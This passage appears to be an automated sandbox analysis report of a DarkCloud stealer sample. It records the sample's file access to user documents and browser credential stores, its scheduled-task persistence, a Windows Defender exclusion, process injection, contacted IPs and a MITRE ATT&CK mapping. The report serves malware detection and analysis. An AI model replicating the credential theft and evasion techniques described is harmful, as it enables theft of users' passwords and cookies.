                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files.zip VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files.zip VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files.zip VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\BNAGMGSPLO.xlsx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\BNAGMGSPLO.xlsx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\BWETZDQDIB.pdf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\BWETZDQDIB.pdf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\BWETZDQDIB.xlsx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\BWETZDQDIB.xlsx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\EFOYFBOLXA.pdf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\EFOYFBOLXA.pdf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GAOBCVIQIJ.docx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GAOBCVIQIJ.docx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GAOBCVIQIJ.xlsx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GAOBCVIQIJ.xlsx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\IQXRGUNTFT.pdf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\IQXRGUNTFT.pdf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\QCFWYSKMHA.docx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\QCFWYSKMHA.docx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\QCFWYSKMHA.xlsx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\QCFWYSKMHA.xlsx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\QLSSZNHVJI.xlsx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\QLSSZNHVJI.xlsx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\QNCYCDFIJJ.docx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\QNCYCDFIJJ.pdf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\QNCYCDFIJJ.pdf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\SQSJKEBWDT.docx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\SQSJKEBWDT.docx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\SQSJKEBWDT.pdf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\SQSJKEBWDT.pdf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\SUAVTZKNFL.pdf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\SUAVTZKNFL.pdf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\SUAVTZKNFL.xlsx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\SUAVTZKNFL.xlsx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\VWDFPKGDUF.docx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\VWDFPKGDUF.docx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\VWDFPKGDUF.xlsx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\VWDFPKGDUF.xlsx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\WXDORXTPKQ.pdf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\WXDORXTPKQ.pdf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\ZGGKNSUKOP.docx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\ZGGKNSUKOP.xlsx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\ZGGKNSUKOP.xlsx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\ZIPXYXWIOY.docx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\ZIPXYXWIOY.docx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\ZIPXYXWIOY.pdf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\ZIPXYXWIOY.pdf VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\ZQIXMVQGAH.docx VolumeInformationJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\ZQIXMVQGAH.docx VolumeInformationJump to behavior
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeQueries volume information: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exe VolumeInformation
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files.zip VolumeInformation
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeQueries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files.zip VolumeInformation
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                      Stealing of Sensitive Information

                      barindex
                      Yara detected DarkCloud
                      Source: Yara matchFile source: 1.2.DESCRIPTION.exe.3dfe800.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DESCRIPTION.exe.3fe4798.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DESCRIPTION.exe.3db4ec0.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DESCRIPTION.exe.3fe4798.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DESCRIPTION.exe.3db4ec0.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DESCRIPTION.exe.3dfe800.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000001.00000002.1501721613.0000000003CF2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: DESCRIPTION.exe PID: 180, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: OdoiXyuXnaQN.exe PID: 5348, type: MEMORYSTR
                      Tries to harvest and steal browser information (history, passwords, etc)
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
                      Source: C:\Users\user\AppData\Roaming\OdoiXyuXnaQN.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

                      Remote Access Functionality

                      barindex
                      Yara detected DarkCloud
                      Source: Yara matchFile source: 1.2.DESCRIPTION.exe.3dfe800.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DESCRIPTION.exe.3fe4798.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DESCRIPTION.exe.3db4ec0.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DESCRIPTION.exe.3fe4798.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DESCRIPTION.exe.3db4ec0.2.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 1.2.DESCRIPTION.exe.3dfe800.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000001.00000002.1501721613.0000000003CF2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: DESCRIPTION.exe PID: 180, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: OdoiXyuXnaQN.exe PID: 5348, type: MEMORYSTR

                      Mitre Att&ck Matrix

                      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                      Gather Victim Identity InformationAcquire InfrastructureValid Accounts221
                      Windows Management Instrumentation                      		1
                      Scheduled Task/Job                      		112
                      Process Injection                      		1
                      Masquerading                      		1
                      OS Credential Dumping                      		1
                      Query Registry                      		Remote Services1
                      Archive Collected Data                      		1
                      Encrypted Channel                      		Exfiltration Over Other Network MediumAbuse Accessibility Features
                      CredentialsDomainsDefault Accounts1
                      Scheduled Task/Job                      		1
                      DLL Side-Loading                      		1
                      Scheduled Task/Job                      		11
                      Disable or Modify Tools                      		LSASS Memory221
                      Security Software Discovery                      		Remote Desktop Protocol1
                      Data from Local System                      		1
                      Ingress Tool Transfer                      		Exfiltration Over BluetoothNetwork Denial of Service
                      Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
                      DLL Side-Loading                      		51
                      Virtualization/Sandbox Evasion                      		Security Account Manager2
                      Process Discovery                      		SMB/Windows Admin SharesData from Network Shared DriveSteganographyAutomated ExfiltrationData Encrypted for Impact
                      Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook112
                      Process Injection                      		NTDS51
                      Virtualization/Sandbox Evasion                      		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
                      Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script2
                      Obfuscated Files or Information                      		LSA Secrets1
                      Application Window Discovery                      		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                      Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts2
                      Software Packing                      		Cached Domain Credentials2
                      File and Directory Discovery                      		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                      DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                      Timestomp                      		DCSync23
                      System Information Discovery                      		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                      Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
                      DLL Side-Loading                      		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

                      Behavior Graph

                      Hide Legend

                      Legend:

                      • Process
                      • Signature
                      • Created File
                      • DNS/IP Info
                      • Is Dropped
                      • Is Windows Process
                      • Number of created Registry Values
                      • Number of created Files
                      • Visual Basic
                      • Delphi
                      • Java
                      • .Net C# or VB.NET
                      • C, C++ or other language
                      • Is malicious
                      • Internet
                      behaviorgraph top1 signatures2 2 Behavior Graph ID: 1591788 Sample: DESCRIPTION.exe Startdate: 15/01/2025 Architecture: WINDOWS Score: 100 53 Found malware configuration 2->53 55 Sigma detected: Scheduled temp file as task from temp location 2->55 57 Multi AV Scanner detection for submitted file 2->57 59 6 other signatures 2->59 7 DESCRIPTION.exe 7 2->7         started        11 OdoiXyuXnaQN.exe 2->11         started        process3 file4 41 C:\Users\user\AppData\...\OdoiXyuXnaQN.exe, PE32 7->41 dropped 43 C:\Users\...\OdoiXyuXnaQN.exe:Zone.Identifier, ASCII 7->43 dropped 45 C:\Users\user\AppData\Local\...\tmp9A10.tmp, XML 7->45 dropped 47 C:\Users\user\AppData\...\DESCRIPTION.exe.log, ASCII 7->47 dropped 61 Uses schtasks.exe or at.exe to add and modify task schedules 7->61 63 Adds a directory exclusion to Windows Defender 7->63 65 Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes) 7->65 67 Injects a PE file into a foreign processes 7->67 13 powershell.exe 23 7->13         started        16 powershell.exe 23 7->16         started        18 DESCRIPTION.exe 67 7->18         started        21 schtasks.exe 1 7->21         started        69 Multi AV Scanner detection for dropped file 11->69 71 Machine Learning detection for dropped file 11->71 73 Writes or reads registry keys via WMI 11->73 23 OdoiXyuXnaQN.exe 11->23         started        25 schtasks.exe 11->25         started        27 OdoiXyuXnaQN.exe 11->27         started        29 OdoiXyuXnaQN.exe 11->29         started        signatures5 process6 dnsIp7 75 Loading BitLocker PowerShell Module 13->75 31 conhost.exe 13->31         started        33 conhost.exe 16->33         started        49 149.154.167.220 TELEGRAMRU United Kingdom 18->49 51 162.55.60.2 ACPCA United States 18->51 35 conhost.exe 21->35         started        77 Tries to harvest and steal browser information (history, passwords, etc) 23->77 37 WmiPrvSE.exe 23->37         started        39 conhost.exe 25->39         started        signatures8 process9

                      Screenshots

                      Thumbnails

                      This section contains all screenshots as thumbnails, including those not shown in the slideshow.